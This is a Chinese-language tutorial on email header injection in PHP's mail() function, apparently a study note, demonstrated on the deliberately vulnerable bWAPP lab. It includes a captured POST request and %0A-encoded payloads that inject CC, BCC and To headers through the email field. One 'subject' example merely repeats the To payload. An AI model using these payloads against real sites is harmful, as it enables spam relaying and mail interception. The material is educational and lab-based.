电子邮件头注入
漏洞含义:
大多数网站允许他们的用户联系他们,向网站提供建议,报告一个问题,或者要求反馈,用户将会发送反馈给网站管理员的电子邮件,一般只发生在webemail。如果存在漏洞,便可以利用此邮件服务器和此邮件地址向其他人发送邮件,它允许恶意攻击者注入任何邮件头字段,BCC、CC、主题等,它允许黑客通过注入手段从受害者的邮件服务器发送垃圾邮件。
漏洞原理:
在php中有mail()函数用于发送邮件。
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
其中to,subject,message都为接收的参数。发送邮件功能代码从用户接收输入(包括邮件主题、消息和来源等),参数没有过滤和验证。因此,恶意攻击者可以任意控制这些参数的值,用户发送inject攻击。
常见的标题头
- return-path:邮件的回复地址。
- from:发件人地址。
- to:收件人地址。
- subject:邮件主题,即邮件名。
- body:邮件内容。
- date:邮件发送日期。
- cc:抄送。
- bcc:密送。
示范:
列举bee-box的bwapp中Mail Header Injection(smtp)一题:
burp抓包:
POST /bWAPP/maili.php HTTP/1.1
Host: 192.168.0.108
Content-Length: 54
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.108
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.108/bWAPP/maili.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security_level=0; PHPSESSID=9d12f87ae399cf50674d1e529e3ab53c
Connection: close
name=test&email=test%40qq.com&remarks=test&form=submit
注入方式:
需要增加换行符 或者 ,或者16进制换行符"0x0A";
1.cc/bcc注入:在发送者(email)后注入参数-》
name=test&email=test%40qq.com%0Acc:fxxk1@qq.com%0Abcc:fxxk2@qq.com&remarks=test&form=submit
然后消息就会发送到fxxk1和fxxk2账户中。
2.参数注入:
name=test&email=test%40qq.com%0ATo:攻击者@qq.com&remarks=test&form=submit
消息就会通过发送到攻击者账户。
3.邮件主题注入:
name=test&email=test%40qq.com%0ATo:攻击者@qq.com&remarks=test&form=submit
ps:听说还可以劫持找回密码邮件。但是不知道是什么原理。
对这个漏洞,我的理解就是:使用有漏洞的邮件服务器,并使用bcc密送也可以发送一份反馈邮件到我们自己的邮件中。